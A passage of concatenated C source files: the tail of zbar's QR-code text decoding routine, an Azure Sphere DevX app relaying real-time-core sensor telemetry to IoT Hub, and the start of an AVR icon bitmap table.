p=memchr(in,'%',inleft*sizeof(*in)); if(p==NULL)break; plen=p-in; if(sa_ctext-sa_ntext<plen+1)break; memcpy(sa_text+sa_ntext,in,plen*sizeof(*in)); sa_ntext+=plen; /*Two '%'s is a literal '%'*/ if(plen+1<inleft&&p[1]=='%'){ c='%'; plen++; p++; } /*One '%' is the ASCII group separator.*/ else c=0x1D; sa_text[sa_ntext++]=c; inleft-=plen+1; in=p+1; } else p=NULL; if(p!=NULL||sa_ctext-sa_ntext<inleft)err=1; else{ memcpy(sa_text+sa_ntext,in,inleft*sizeof(*sa_text)); sa_ntext+=inleft; } }break; /*TODO: This will not handle a multi-byte sequence split between multiple data blocks. Does such a thing occur? Is it allowed? It requires copying buffers around to handle correctly.*/ case QR_MODE_BYTE: case QR_MODE_KANJI:{ in=(char *)entry->payload.data.buf; inleft=entry->payload.data.len; out=sa_text+sa_ntext; outleft=sa_ctext-sa_ntext; /*If we have no specified encoding, attempt to auto-detect it.*/ if(eci<0){ int ei; /*If there was data encoded in kanji mode, assume it's SJIS.*/ if(has_kanji)enc_list_mtf(enc_list,sjis_cd); /*Otherwise check for the UTF-8 BOM. UTF-8 is rarely specified with ECI, and few decoders currently support doing so, so this is the best way for encoders to reliably indicate it.*/ else if(inleft>=3&& in[0]==(char)0xEF&&in[1]==(char)0xBB&&in[2]==(char)0xBF){ in+=3; inleft-=3; /*Actually try converting (to check validity).*/ err=utf8_cd==(iconv_t)-1|| iconv(utf8_cd,&in,&inleft,&out,&outleft)==(size_t)-1; if(!err){ sa_ntext=out-sa_text; enc_list_mtf(enc_list,utf8_cd); continue; } in=(char *)entry->payload.data.buf; inleft=entry->payload.data.len; out=sa_text+sa_ntext; outleft=sa_ctext-sa_ntext; } /*If the text is 8-bit clean, prefer UTF-8 over SJIS, since SJIS will corrupt the backslashes used for DoCoMo formats.*/ else if(text_is_ascii((unsigned char *)in,inleft)){ enc_list_mtf(enc_list,utf8_cd); } /*Try our list of encodings.*/ for(ei=0;ei<3;ei++)if(enc_list[ei]!=(iconv_t)-1){ /*According to the 2005 version of the standard, ISO/IEC 8859-1 (one hyphen) is supposed to be used, but reality is not always so (and in the 2000 version of the standard, it was JIS8/SJIS that was the default). It's got an invalid range that is used often with SJIS and UTF-8, though, which makes detection easier. However, iconv() does not properly reject characters in those ranges, since ISO-8859-1 (two hyphens) defines a number of seldom-used control code characters there. So if we see any of those characters, move this conversion to the end of the list.*/ if(ei<2&&enc_list[ei]==latin1_cd&& !text_is_latin1((unsigned char *)in,inleft)){ int ej; for(ej=ei+1;ej<3;ej++)enc_list[ej-1]=enc_list[ej]; enc_list[2]=latin1_cd; } err=iconv(enc_list[ei],&in,&inleft,&out,&outleft)==(size_t)-1; if(!err){ sa_ntext=out-sa_text; enc_list_mtf(enc_list,enc_list[ei]); break; } in=(char *)entry->payload.data.buf; inleft=entry->payload.data.len; out=sa_text+sa_ntext; outleft=sa_ctext-sa_ntext; } } /*We were actually given a character set; use it. The spec says that in this case, data should be treated as if it came from the given character set even when encoded in kanji mode.*/ else{ err=eci_cd==(iconv_t)-1|| iconv(eci_cd,&in,&inleft,&out,&outleft)==(size_t)-1; if(!err)sa_ntext=out-sa_text; } }break; /*Check to see if a character set was specified.*/ case QR_MODE_ECI:{ const char *enc; char buf[16]; unsigned cur_eci; cur_eci=entry->payload.eci; if(cur_eci<=QR_ECI_ISO8859_16&&cur_eci!=14){ if(cur_eci!=QR_ECI_GLI0&&cur_eci!=QR_ECI_CP437){ sprintf(buf,"ISO8859-%i",QR_MAXI(cur_eci,3)-2); enc=buf; } /*Note that CP437 requires an iconv compiled with --enable-extra-encodings, and thus may not be available.*/ else enc="CP437"; } else if(cur_eci==QR_ECI_SJIS)enc="SJIS"; else if(cur_eci==QR_ECI_UTF8)enc="UTF-8"; /*Don't know what this ECI code specifies, but not an encoding that we recognize.*/ else continue; eci=cur_eci; eci_cd=iconv_open("UTF-8",enc); }break; /*Silence stupid compiler warnings.*/ default:break; } } /*If eci should be reset between codes, do so.*/ if(eci<=QR_ECI_GLI1){ eci=-1; if(eci_cd!=(iconv_t)-1)iconv_close(eci_cd); } } if(eci_cd!=(iconv_t)-1)iconv_close(eci_cd); if(!err){ zbar_symbol_t *sa_sym; sa_text[sa_ntext++]='\0'; if(sa_ctext+1>sa_ntext){ sa_text=(char *)realloc(sa_text,sa_ntext*sizeof(*sa_text)); } if(sa_size == 1) sa_sym = syms; else { /* cheap out w/axis aligned bbox for now */ int xmin = img->width, xmax = -2; int ymin = img->height, ymax = -2; /* create "virtual" container symbol for composite result */ sa_sym = _zbar_image_scanner_alloc_sym(iscn, ZBAR_QRCODE, 0); sa_sym->syms = _zbar_symbol_set_create(); sa_sym->syms->head = syms; /* fixup data references */ for(; syms; syms = syms->next) { int next; _zbar_symbol_refcnt(syms, 1); if(syms->type == ZBAR_PARTIAL) sa_sym->type = ZBAR_PARTIAL; else for(j = 0; j < syms->npts; j++) { int u = syms->pts[j].x; if(xmin >= u) xmin = u - 1; if(xmax <= u) xmax = u + 1; u = syms->pts[j].y; if(ymin >= u) ymin = u - 1; if(ymax <= u) ymax = u + 1; } syms->data = sa_text + syms->datalen; next = (syms->next) ? syms->next->datalen : sa_ntext; assert(next > syms->datalen); syms->datalen = next - syms->datalen - 1; } if(xmax >= -1) { sym_add_point(sa_sym, xmin, ymin); sym_add_point(sa_sym, xmin, ymax); sym_add_point(sa_sym, xmax, ymax); sym_add_point(sa_sym, xmax, ymin); } } sa_sym->data = sa_text; sa_sym->data_alloc = sa_ntext; sa_sym->datalen = sa_ntext - 1; sa_sym->modifiers = fnc1; _zbar_image_scanner_add_sym(iscn, sa_sym); } else { _zbar_image_scanner_recycle_syms(iscn, syms); free(sa_text); } } if(utf8_cd!=(iconv_t)-1)iconv_close(utf8_cd); if(sjis_cd!=(iconv_t)-1)iconv_close(sjis_cd); if(latin1_cd!=(iconv_t)-1)iconv_close(latin1_cd); free(mark); return ntext; }
350037.c
/* Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. * * This example is built on the Azure Sphere DevX library. * 1. DevX is an Open Source community-maintained implementation of the Azure Sphere SDK samples. * 2. DevX is a modular library that simplifies common development scenarios. * - You can focus on your solution, not the plumbing. * 3. DevX documentation is maintained at https://github.com/gloveboxes/AzureSphereDevX/wiki * 4. The DevX library is not a substitute for understanding the Azure Sphere SDK Samples. * - https://github.com/Azure/azure-sphere-samples * * DEVELOPER BOARD SELECTION * * The following developer boards are supported. * * 1. AVNET Azure Sphere Starter Kit. * 2. AVNET Azure Sphere Starter Kit Revision 2. * 3. Seeed Studio Azure Sphere MT3620 Development Kit aka Reference Design Board or rdb. * 4. Seeed Studio Seeed Studio MT3620 Mini Dev Board. * * ENABLE YOUR DEVELOPER BOARD * * Each Azure Sphere developer board manufacturer maps pins differently. You need to select the * configuration that matches your board. * * Follow these steps: * * 1. Open CMakeLists.txt. * 2. Uncomment the set command that matches your developer board. * 3. Click File, then Save to auto-generate the CMake Cache. * ************************************************************************************************/ #include "main.h" // Globals static bool rt_app1_running = false; static bool rt_app2_running = false; static DX_TIMER_HANDLER(request_telemetry_handler) { Log_Debug("Request telemetry from the RTApp(s)\n"); if(rt_app1_running){ // Send IC_GENERIC_READ_SENSOR_RESPOND_WITH_TELEMETRY message to realtime core app one memset(&ic_tx_block, 0x00, sizeof(ic_tx_block)); ic_tx_block.cmd = IC_GENERIC_READ_SENSOR_RESPOND_WITH_TELEMETRY; dx_intercorePublish(&intercore_app1, &ic_tx_block, sizeof(IC_COMMAND_BLOCK_GENERIC_HL_TO_RT)); } if(rt_app2_running){ // Send IC_GENERIC_READ_SENSOR_RESPOND_WITH_TELEMETRY message to realtime core app two memset(&ic_tx_block, 0x00, sizeof(ic_tx_block)); ic_tx_block.cmd = IC_GENERIC_READ_SENSOR_RESPOND_WITH_TELEMETRY; dx_intercorePublish(&intercore_app2, &ic_tx_block, sizeof(IC_COMMAND_BLOCK_GENERIC_HL_TO_RT)); } } DX_TIMER_HANDLER_END static DX_DEVICE_TWIN_HANDLER(dt_desired_sample_rate_handler, deviceTwinBinding) { int sample_rate_seconds = *(int *)deviceTwinBinding->propertyValue; // validate data is sensible range before applying if (sample_rate_seconds >= 0 && sample_rate_seconds <= 120) { Log_Debug("New sample rate: %d seconds\n", sample_rate_seconds); dx_timerChange(&tmr_request_telemetry, &(struct timespec){sample_rate_seconds, 0}); dx_deviceTwinReportValue(deviceTwinBinding, deviceTwinBinding->propertyValue); } } DX_DEVICE_TWIN_HANDLER_END static DX_DEVICE_TWIN_HANDLER(dt_auto_telemetry_handler, deviceTwinBinding) { int telemetry_time_seconds = *(int *)deviceTwinBinding->propertyValue; // validate data is sensible range before applying if (telemetry_time_seconds >= 0 && telemetry_time_seconds <= 86400) { // 0 (off) to 24hrs Log_Debug("New auto telemetry rate: %d seconds\n", telemetry_time_seconds); // Verify that we have a non-NULL context pointer. The pointer references a intercore binding if(deviceTwinBinding->context != NULL){ DX_INTERCORE_BINDING myBinding = *(DX_INTERCORE_BINDING *)deviceTwinBinding->context; // Send IC_GENERIC_SAMPLE_RATE message to realtime core app one memset(&ic_tx_block, 0x00, sizeof(ic_tx_block)); ic_tx_block.cmd = IC_GENERIC_SAMPLE_RATE; ic_tx_block.sensorSampleRate = (uint32_t)telemetry_time_seconds; dx_intercorePublish(&myBinding, &ic_tx_block, sizeof(IC_COMMAND_BLOCK_GENERIC_HL_TO_RT)); } dx_deviceTwinReportValue(deviceTwinBinding, deviceTwinBinding->propertyValue); } } DX_DEVICE_TWIN_HANDLER_END /// <summary> /// Callback handler for Asynchronous Inter-Core Messaging Pattern /// </summary> static void IntercoreResponseHandler(void *data_block, ssize_t message_length) { IC_COMMAND_BLOCK_GENERIC_RT_TO_HL *ic_message_block = (IC_COMMAND_BLOCK_GENERIC_RT_TO_HL *)data_block; switch (ic_message_block->cmd) { case IC_GENERIC_READ_SENSOR_RESPOND_WITH_TELEMETRY: Log_Debug("IC_GENERIC_READ_SENSOR_RESPOND_WITH_TELEMETRY recieved\n"); Log_Debug("Tx telemetry: %s\n", ic_message_block->telemetryJSON); // Verify we have an IoTHub connection and forward in incomming JSON telemetry data if(dx_isAzureConnected()){ dx_azurePublish(ic_message_block->telemetryJSON, strnlen(ic_message_block->telemetryJSON, JSON_STRING_MAX_SIZE), messageProperties, NELEMS(messageProperties), &contentProperties); } break; // Handle all other cases by doing nothing . . . case IC_GENERIC_UNKNOWN: Log_Debug("RX IC_GENERIC_UNKNOWN response\n"); break; case IC_GENERIC_SAMPLE_RATE: Log_Debug("RX IC_GENERIC_SAMPLE_RATE response\n"); break; case IC_GENERIC_HEARTBEAT: Log_Debug("RX IC_GENERIC_HEARTBEAT response\n"); break; default: break; } } /// <summary> /// Initialize peripherals, device twins, direct methods, timer_bindings. /// </summary> static void InitPeripheralsAndHandlers(void) { dx_azureConnect(&dx_config, NETWORK_INTERFACE, IOT_PLUG_AND_PLAY_MODEL_ID); dx_timerSetStart(timer_bindings, NELEMS(timer_bindings)); dx_deviceTwinSubscribe(device_twin_bindings, NELEMS(device_twin_bindings)); // Initialize asynchronous inter-core messaging if(dx_intercoreConnect(&intercore_app1)){ rt_app1_running = true; // Force the auto Telemetry feature off memset(&ic_tx_block, 0x00, sizeof(ic_tx_block)); ic_tx_block.cmd = IC_GENERIC_SAMPLE_RATE; ic_tx_block.sensorSampleRate = 0; dx_intercorePublish(&intercore_app1, &ic_tx_block, sizeof(IC_COMMAND_BLOCK_GENERIC_HL_TO_RT)); Log_Debug("RTApp1 present and running!\n"); } else{ Log_Debug("RTApp1 Not found!\n"); } // Initialize asynchronous inter-core messaging if(dx_intercoreConnect(&intercore_app2)){ rt_app2_running = true; // Force the auto Telemetry feature off memset(&ic_tx_block, 0x00, sizeof(ic_tx_block)); ic_tx_block.cmd = IC_GENERIC_SAMPLE_RATE; ic_tx_block.sensorSampleRate = 0; dx_intercorePublish(&intercore_app2, &ic_tx_block, sizeof(IC_COMMAND_BLOCK_GENERIC_HL_TO_RT)); Log_Debug("RTApp2 present and running!\n"); } else{ Log_Debug("RTApp2 Not found!\n"); } } /// <summary> /// Close peripherals and handlers. /// </summary> static void ClosePeripheralsAndHandlers(void) { dx_timerSetStop(timer_bindings, NELEMS(timer_bindings)); dx_deviceTwinUnsubscribe(); dx_timerEventLoopStop(); } int main(int argc, char *argv[]) { dx_registerTerminationHandler(); if (!dx_configParseCmdLineArguments(argc, argv, &dx_config)) { return dx_getTerminationExitCode(); } InitPeripheralsAndHandlers(); // Main loop while (!dx_isTerminationRequired()) { int result = EventLoop_Run(dx_timerGetEventLoop(), -1, true); // Continue if interrupted by signal, e.g. due to breakpoint being set. if (result == -1 && errno != EINTR) { dx_terminate(DX_ExitCode_Main_EventLoopFail); } } ClosePeripheralsAndHandlers(); Log_Debug("Application exiting.\n"); return dx_getTerminationExitCode(); }
110265.c
/** ****************************************************************************** * @file font24.c * @author MCD Application Team * @version V1.0.0 * @date 18-February-2014 * @brief This file provides text font24 for STM32xx-EVAL's LCD driver. ****************************************************************************** * @attention * * <h2><center>&copy; COPYRIGHT(c) 2014 STMicroelectronics</center></h2> * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** */ /* Includes ------------------------------------------------------------------*/ #include "icons.h" #include <avr/pgmspace.h> const uint8_t Icon48_Table [] PROGMEM = { // ICON48_ISSUE 0x00, 0x00, 0x3F, 0xFC, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xF8, 0x00, 0x80, 0x3F, 0xFF, 0xFF, 0xFC, 0x00, 0xC0, 0xFF, 0xE0, 0x07, 0xFF, 0x00, 0xE1, 0xFF, 0x00, 0x00, 0xFF, 0x80, 0xF3, 0xFC, 0x00, 0x00, 0x3F, 0xC0, 0xFF, 0xF8, 0x00, 0x00, 0x1F, 0xE0, 0xFF, 0xE0, 0x00, 0x00, 0x07, 0xE0, 0xFF, 0xC0, 0x0F, 0xF0, 0x03, 0xF0, 0xFF, 0x80, 0x0F, 0xF0, 0x01, 0xF8, 0xFF, 0x80, 0x0F, 0xF0, 0x01, 0xF8, 0xFF, 0xC0, 0x0F, 0xF0, 0x00, 0xFC, 0xFF, 0xE0, 0x0F, 0xF0, 0x00, 0x7C, 0xFF, 0xF0, 0x0F, 0xF0, 0x00, 0x7E, 0xFF, 0xF8, 0x0F, 0xF0, 0x00, 0x3E, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x3E, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x3F, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x1F, 0xF8, 0x00, 0x0F, 0xF0, 0x00, 0x1F, 0xF8, 0x00, 0x0F, 0xF0, 0x00, 0x1F, 0xF8, 0x00, 0x0F, 0xF0, 0x00, 0x1F, 0xF8, 0x00, 0x0F, 0xF0, 0x00, 0x1F, 0xF8, 0x00, 0x0F, 0xF0, 0x00, 0x1F, 0xF8, 0x00, 0x0F, 0xF0, 0x00, 0x1F, 0xF8, 0x00, 0x0F, 0xF0, 0x00, 0x1F, 0xF8, 0x00, 0x07, 0xE0, 0x00, 0x1F, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7C, 0x00, 0x0F, 0xF0, 0x1F, 0xFF, 0x7E, 0x00, 0x0F, 0xF0, 0x0F, 0xFF, 0x3E, 0x00, 0x0F, 0xF0, 0x07, 0xFF, 0x3F, 0x00, 0x0F, 0xF0, 0x03, 0xFF, 0x1F, 0x80, 0x0F, 0xF0, 0x01, 0xFF, 0x1F, 0x80, 0x0F, 0xF0, 0x01, 0xFF, 0x0F, 0xC0, 0x0F, 0xF0, 0x03, 0xFF, 0x07, 0xE0, 0x00, 0x00, 0x07, 0xFF, 0x07, 0xF8, 0x00, 0x00, 0x1F, 0xFF, 0x03, 0xFC, 0x00, 0x00, 0x3F, 0xCF, 0x01, 0xFF, 0x00, 0x00, 0xFF, 0x87, 0x00, 0xFF, 0xE0, 0x07, 0xFF, 0x03, 0x00, 0x3F, 0xFF, 0xFF, 0xFC, 0x01, 0x00, 0x1F, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x3F, 0xFC, 0x00, 0x00, // ICON48_FACE_HAPPY 0x00, 0x00, 0x3F, 0xFC, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x1F, 0xF8, 0x1F, 0xF8, 0x00, 0x00, 0x3F, 0x80, 0x01, 0xFC, 0x00, 0x00, 0xFE, 0x00, 0x00, 0x7F, 0x00, 0x01, 0xF8, 0x00, 0x00, 0x1F, 0x80, 0x03, 0xE0, 0x00, 0x00, 0x07, 0xC0, 0x07, 0xC0, 0x00, 0x00, 0x03, 0xE0, 0x07, 0x80, 0x00, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x78, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x78, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x78, 0x70, 0x00, 0x00, 0x0E, 0x1E, 0x78, 0x70, 0x00, 0x00, 0x0E, 0x1E, 0x70, 0x70, 0x00, 0x00, 0x0E, 0x0E, 0xF0, 0x70, 0x00, 0x00, 0x0E, 0x0F, 0xF0, 0x70, 0x00, 0x00, 0x0E, 0x0F, 0xF0, 0x70, 0x00, 0x00, 0x0E, 0x0F, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x0E, 0x00, 0x00, 0x70, 0x07, 0xE0, 0x0E, 0x00, 0x00, 0x70, 0x07, 0xE0, 0x0F, 0x00, 0x00, 0xF0, 0x07, 0xF0, 0x0F, 0x00, 0x00, 0xF0, 0x0F, 0xF0, 0x07, 0x00, 0x01, 0xE0, 0x0F, 0xF0, 0x07, 0x80, 0x01, 0xE0, 0x0F, 0x70, 0x03, 0xC0, 0x03, 0xC0, 0x0E, 0x78, 0x03, 0xF0, 0x0F, 0xC0, 0x1E, 0x78, 0x01, 0xFE, 0x7F, 0x80, 0x1E, 0x3C, 0x00, 0xFF, 0xFF, 0x00, 0x3C, 0x3C, 0x00, 0x3F, 0xFC, 0x00, 0x3C, 0x1E, 0x00, 0x0F, 0xF0, 0x00, 0x78, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x78, 0x0F, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x07, 0x80, 0x00, 0x00, 0x01, 0xE0, 0x07, 0xC0, 0x00, 0x00, 0x03, 0xE0, 0x03, 0xE0, 0x00, 0x00, 0x07, 0xC0, 0x01, 0xF8, 0x00, 0x00, 0x1F, 0x80, 0x00, 0xFE, 0x00, 0x00, 0x7F, 0x00, 0x00, 0x3F, 0x80, 0x01, 0xFC, 0x00, 0x00, 0x1F, 0xF8, 0x1F, 0xF8, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x3F, 0xFC, 0x00, 0x00, // ICON48_FACE_NORMAL 0x00, 0x00, 0x3F, 0xFC, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x1F, 0xF8, 0x1F, 0xF8, 0x00, 0x00, 0x3F, 0x80, 0x01, 0xFC, 0x00, 0x00, 0xFE, 0x00, 0x00, 0x7F, 0x00, 0x01, 0xF8, 0x00, 0x00, 0x1F, 0x80, 0x03, 0xE0, 0x00, 0x00, 0x07, 0xC0, 0x07, 0xC0, 0x00, 0x00, 0x03, 0xE0, 0x07, 0x80, 0x00, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x78, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x78, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x78, 0x70, 0x00, 0x00, 0x0E, 0x1E, 0x78, 0x70, 0x00, 0x00, 0x0E, 0x1E, 0x70, 0x70, 0x00, 0x00, 0x0E, 0x0E, 0xF0, 0x70, 0x00, 0x00, 0x0E, 0x0F, 0xF0, 0x70, 0x00, 0x00, 0x0E, 0x0F, 0xF0, 0x70, 0x00, 0x00, 0x0E, 0x0F, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xF0, 0x0F, 0xFF, 0xFF, 0xF0, 0x0F, 0xF0, 0x0F, 0xFF, 0xFF, 0xF0, 0x0F, 0xF0, 0x0F, 0xFF, 0xFF, 0xF0, 0x0F, 0x70, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x78, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x78, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x78, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x78, 0x0F, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x07, 0x80, 0x00, 0x00, 0x01, 0xE0, 0x07, 0xC0, 0x00, 0x00, 0x03, 0xE0, 0x03, 0xE0, 0x00, 0x00, 0x07, 0xC0, 0x01, 0xF8, 0x00, 0x00, 0x1F, 0x80, 0x00, 0xFE, 0x00, 0x00, 0x7F, 0x00, 0x00, 0x3F, 0x80, 0x01, 0xFC, 0x00, 0x00, 0x1F, 0xF8, 0x1F, 0xF8, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x3F, 0xFC, 0x00, 0x00, // ICON48_FACE_UNHAPPY 0x00, 0x00, 0x3F, 0xFC, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x1F, 0xF8, 0x1F, 0xF8, 0x00, 0x00, 0x3F, 0x80, 0x01, 0xFC, 0x00, 0x00, 0xFE, 0x00, 0x00, 0x7F, 0x00, 0x01, 0xF8, 0x00, 0x00, 0x1F, 0x80, 0x03, 0xE0, 0x00, 0x00, 0x07, 0xC0, 0x07, 0xC0, 0x00, 0x00, 0x03, 0xE0, 0x07, 0x80, 0x00, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x78, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x78, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x78, 0x70, 0x00, 0x00, 0x0E, 0x1E, 0x78, 0x70, 0x00, 0x00, 0x0E, 0x1E, 0x70, 0x70, 0x00, 0x00, 0x0E, 0x0E, 0xF0, 0x70, 0x00, 0x00, 0x0E, 0x0F, 0xF0, 0x70, 0x00, 0x00, 0x0E, 0x0F, 0xF0, 0x70, 0x00, 0x00, 0x0E, 0x0F, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x0F, 0xF0, 0x00, 0x07, 0xE0, 0x00, 0x3F, 0xFC, 0x00, 0x07, 0xE0, 0x00, 0xFF, 0xFF, 0x00, 0x07, 0xF0, 0x01, 0xFC, 0x3F, 0x80, 0x0F, 0xF0, 0x03, 0xF0, 0x0F, 0xC0, 0x0F, 0xF0, 0x03, 0xC0, 0x03, 0xC0, 0x0F, 0x70, 0x07, 0x80, 0x01, 0xE0, 0x0E, 0x78, 0x07, 0x00, 0x00, 0xE0, 0x1E, 0x78, 0x0F, 0x00, 0x00, 0xF0, 0x1E, 0x3C, 0x0F, 0x00, 0x00, 0xF0, 0x3C, 0x3C, 0x0E, 0x00, 0x00, 0x70, 0x3C, 0x1E, 0x0E, 0x00, 0x00, 0x70, 0x78, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x78, 0x0F, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x07, 0x80, 0x00, 0x00, 0x01, 0xE0, 0x07, 0xC0, 0x00, 0x00, 0x03, 0xE0, 0x03, 0xE0, 0x00, 0x00, 0x07, 0xC0, 0x01, 0xF8, 0x00, 0x00, 0x1F, 0x80, 0x00, 0xFE, 0x00, 0x00, 0x7F, 0x00, 0x00, 0x3F, 0x80, 0x01, 0xFC, 0x00, 0x00, 0x1F, 0xF8, 0x1F, 0xF8, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x3F, 0xFC, 0x00, 0x00, // ICON48_ALERT 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFE, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x03, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x03, 0xF0, 0x0F, 0xC0, 0x00, 0x00, 0x07, 0xE0, 0x0F, 0xE0, 0x00, 0x00, 0x07, 0xE0, 0x0F, 0xE0, 0x00, 0x00, 0x0F, 0xF0, 0x0F, 0xF0, 0x00, 0x00, 0x0F, 0xF0, 0x0F, 0xF0, 0x00, 0x00, 0x1F, 0xF0, 0x0F, 0xF8, 0x00, 0x00, 0x1F, 0xF0, 0x0F, 0xF8, 0x00, 0x00, 0x3F, 0xF0, 0x0F, 0xFC, 0x00, 0x00, 0x3F, 0xF0, 0x1F, 0xFC, 0x00, 0x00, 0x7F, 0xF8, 0x1F, 0xFE, 0x00, 0x00, 0x7F, 0xF8, 0x1F, 0xFE, 0x00, 0x00, 0xFF, 0xF8, 0x1F, 0xFF, 0x00, 0x00, 0xFF, 0xF8, 0x1F, 0xFF, 0x00, 0x01, 0xFF, 0xF8, 0x3F, 0xFF, 0x80, 0x01, 0xFF, 0xFC, 0x3F, 0xFF, 0x80, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x0F, 